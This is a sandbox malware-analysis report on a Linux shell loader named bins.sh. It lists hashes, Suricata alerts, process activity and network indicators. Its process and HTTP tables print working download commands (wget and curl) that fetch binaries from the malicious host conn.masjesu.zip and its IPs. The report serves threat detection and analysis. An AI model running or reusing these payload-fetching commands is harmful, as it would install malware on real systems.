Malware analysis bins.sh Malicious activity | ANY.RUN

Add for printing

File name:	bins.sh
Full analysis:	https://app.any.run/tasks/e51d6fd0-8ea2-4c2b-91e6-cb0191d1ed20
Verdict:	Malicious activity
Threats:	A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. Malware Trends Tracker >>>
Analysis date:	December 14, 2024, 06:10:14
OS:	Ubuntu 22.04.2 LTS
Tags:	exploit ssh loader
Indicators:
MIME:	text/x-shellscript
File info:	Bourne-Again shell script, ASCII text executable, with very long lines (417)
MD5:	8C4EC26A71DAE92228B8752A76FF0807
SHA1:	B9B1CFE562AF1ADCCBB35DB7CB16739B1A7260BC
SHA256:	46D7518B34C288F55AE7580966A9D006982A8BBA5CDE44D3FEC36F917B7FAF13
SSDEEP:	192:MljeI+XjC5RwL7KptMFAXjC5RUL7Kpt+M:MljeI2l

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
- EXPLOIT has been detected (SURICATA)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38990)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38999)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38989)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38995)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39000)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39003)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39008)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39004)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39007)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39026)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39012)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39025)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39034)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39039)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39011)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39016)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39015)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39035)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39038)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39043)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39047)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39044)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39048)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39059)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38996)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39052)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39060)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38988)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39063)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39067)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39068)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39071)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39072)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39075)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39076)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39080)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39079)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39086)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39087)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39098)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39094)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39090)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39091)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39095)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39099)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39103)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39104)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39029)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39030)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39102)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39056)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39051)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39064)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39055)
SUSPICIOUS
- Modifies file or directory owner
  - sudo (PID: 38744)
- Potential Corporate Privacy Violation
  - wget (PID: 38868)
  - curl (PID: 38836)
  - wget (PID: 38802)
  - wget (PID: 38835)
  - wget (PID: 38751)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39042)
  - busybox (PID: 38898)
  - busybox (PID: 38797)
  - busybox (PID: 38830)
  - busybox (PID: 38863)
- Executes commands using command-line interpreter
  - sudo (PID: 38747)
- Executes the "rm" command to delete files or directories
  - bash (PID: 38748)
- Reads /proc/mounts (likely used to find writable filesystems)
  - curl (PID: 38836)
- Uses wget to download content
  - bash (PID: 38748)
- Connects to the server without a host name
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (PID: 38903)
- Connects to unusual port
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38914)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38912)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38921)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38917)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38916)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38908)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38910)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38911)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38919)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38913)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38923)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38925)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38926)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38915)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38909)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38924)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38920)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38918)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38927)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38922)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38940)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38936)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38941)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38932)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38937)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38929)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38928)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38934)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38931)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38933)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38939)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38930)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38938)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38942)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38946)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38943)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38935)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38944)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38947)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38954)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38948)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38959)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38952)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38949)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38945)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38950)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38958)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38955)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38951)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38957)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38956)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38962)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38967)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38966)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38974)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38969)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38978)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38968)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38973)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38963)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38960)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38977)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38964)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38961)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38972)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38953)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38970)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38971)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38982)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38965)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38984)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38976)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38979)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38980)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38988)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38975)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38985)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38983)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38981)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38987)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39033)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 38986)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39042)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39084)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39085)
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39102)
- Process requests binary or script from the Internet
  - 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W (deleted) (PID: 39042)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.sh	\|	Linux/UNIX shell script (100)

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

456

Monitored processes

248

Malicious processes

143

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
38743	/bin/sh -c "sudo chown user /tmp/bins\.sh && chmod +x /tmp/bins\.sh && DISPLAY=:0 sudo -iu user /tmp/bins\.sh "	/usr/bin/dash	—	any-guest-agent
User: root Integrity Level: UNKNOWN
38744	sudo chown user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38745	chown user /tmp/bins.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
38746	chmod +x /tmp/bins.sh	/usr/bin/chmod	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38747	sudo -iu user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN
38748	/bin/bash /tmp/bins.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN
38749	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38750	/bin/rm bins.sh	/usr/bin/rm	—	bash
User: user Integrity Level: UNKNOWN Exit code: 256
38751	wget http://conn.masjesu.zip/bins/6noHu3UYjmAPvvHCbv6nco3g73jlVn9a9U	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 0
38754	curl -O http://conn.masjesu.zip/bins/6noHu3UYjmAPvvHCbv6nco3g73jlVn9a9U	/snap/snapd/20290/usr/bin/snap	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

No data

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

14 386

DNS requests

Threats

143

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	204	185.125.190.17:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
38797	busybox	GET	—	87.121.86.228:80	http://conn.masjesu.zip/bins/6noHu3UYjmAPvvHCbv6nco3g73jlVn9a9U	unknown	—	—	—
—	—	GET	200	37.44.238.68:80	http://conn.masjesu.zip/bins/6noHu3UYjmAPvvHCbv6nco3g73jlVn9a9U	unknown	—	—	—
38751	wget	GET	200	37.44.238.68:80	http://conn.masjesu.zip/bins/6noHu3UYjmAPvvHCbv6nco3g73jlVn9a9U	unknown	—	—	—
38802	wget	GET	200	87.121.86.228:80	http://conn.masjesu.zip/bins/fQQjz1w47ZHB8xYSkHoeG7nVXBkM2hDb65	unknown	—	—	—
38830	busybox	GET	—	37.44.238.68:80	http://conn.masjesu.zip/bins/fQQjz1w47ZHB8xYSkHoeG7nVXBkM2hDb65	unknown	—	—	—
38863	busybox	GET	—	87.121.86.228:80	http://conn.masjesu.zip/bins/ZSG6MPunQuS3FSzXAsBHXHqqA4eLFxKKTP	unknown	—	—	—
38836	curl	GET	200	87.121.86.228:80	http://conn.masjesu.zip/bins/ZSG6MPunQuS3FSzXAsBHXHqqA4eLFxKKTP	unknown	—	—	—
38835	wget	GET	200	87.121.86.228:80	http://conn.masjesu.zip/bins/ZSG6MPunQuS3FSzXAsBHXHqqA4eLFxKKTP	unknown	—	—	—
—	—	GET	200	87.121.86.228:80	http://conn.masjesu.zip/bins/fQQjz1w47ZHB8xYSkHoeG7nVXBkM2hDb65	unknown	—	—	—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	185.125.190.97:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
—	—	185.125.190.17:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
38751	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
1178	snap-store	195.181.170.19:443	odrs.gnome.org	Datacamp Limited	DE	whitelisted
1178	snap-store	195.181.175.40:443	odrs.gnome.org	Datacamp Limited	DE	whitelisted
—	—	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38797	busybox	87.121.86.228:80	conn.masjesu.zip	SKAT TV Ltd.	BG	unknown
38802	wget	87.121.86.228:80	conn.masjesu.zip	SKAT TV Ltd.	BG	unknown
—	—	87.121.86.228:80	conn.masjesu.zip	SKAT TV Ltd.	BG	unknown

DNS requests

Domain	IP	Reputation
connectivity-check.ubuntu.com	2620:2d:4000:1::2b 2001:67c:1562::23 2620:2d:4000:1::22 2620:2d:4000:1::97 2620:2d:4000:1::98 2620:2d:4002:1::197 2001:67c:1562::24 2620:2d:4000:1::23 2620:2d:4002:1::198 2620:2d:4002:1::196 2620:2d:4000:1::96 2620:2d:4000:1::2a 185.125.190.17 91.189.91.48 185.125.190.97 91.189.91.98 185.125.190.48 185.125.190.49 185.125.190.96 185.125.190.98 91.189.91.97 91.189.91.96 91.189.91.49 185.125.190.18	whitelisted
google.com	142.250.186.174 2a00:1450:4001:829::200e	whitelisted
conn.masjesu.zip	37.44.238.68 87.121.86.228	unknown
odrs.gnome.org	195.181.170.19 207.211.211.26 195.181.175.40 37.19.194.81 169.150.255.184 212.102.56.178 169.150.255.180 2a02:6ea0:c700::19 2a02:6ea0:c700::107 2a02:6ea0:c700::11 2a02:6ea0:c700::112 2a02:6ea0:c700::101 2a02:6ea0:c700::18 2a02:6ea0:c700::21	whitelisted
api.snapcraft.io	185.125.188.58 185.125.188.59 185.125.188.55 185.125.188.54 2620:2d:4000:1010::2e6 2620:2d:4000:1010::42 2620:2d:4000:1010::6d 2620:2d:4000:1010::117	whitelisted
232.100.168.192.in-addr.arpa	—	unknown

Threats

PID	Process	Class	Message
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc activity	ET INFO HTTP Request to a *.zip Domain
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc activity	ET INFO HTTP Request to a *.zip Domain
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc activity	ET INFO HTTP Request to a *.zip Domain
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD

2 ETPRO signatures available at the full report

Add for printing

No debug info

General Info

bins.sh

8C4EC26A71DAE92228B8752A76FF0807

B9B1CFE562AF1ADCCBB35DB7CB16739B1A7260BC

46D7518B34C288F55AE7580966A9D006982A8BBA5CDE44D3FEC36F917B7FAF13

192:MljeI+XjC5RwL7KptMFAXjC5RUL7Kpt+M:MljeI2l

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

EXPLOIT has been detected (SURICATA)

SUSPICIOUS

Modifies file or directory owner

Potential Corporate Privacy Violation

Executes commands using command-line interpreter

Executes the "rm" command to delete files or directories

Reads /proc/mounts (likely used to find writable filesystems)

Uses wget to download content

Connects to the server without a host name

Connects to unusual port

Process requests binary or script from the Internet

INFO

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings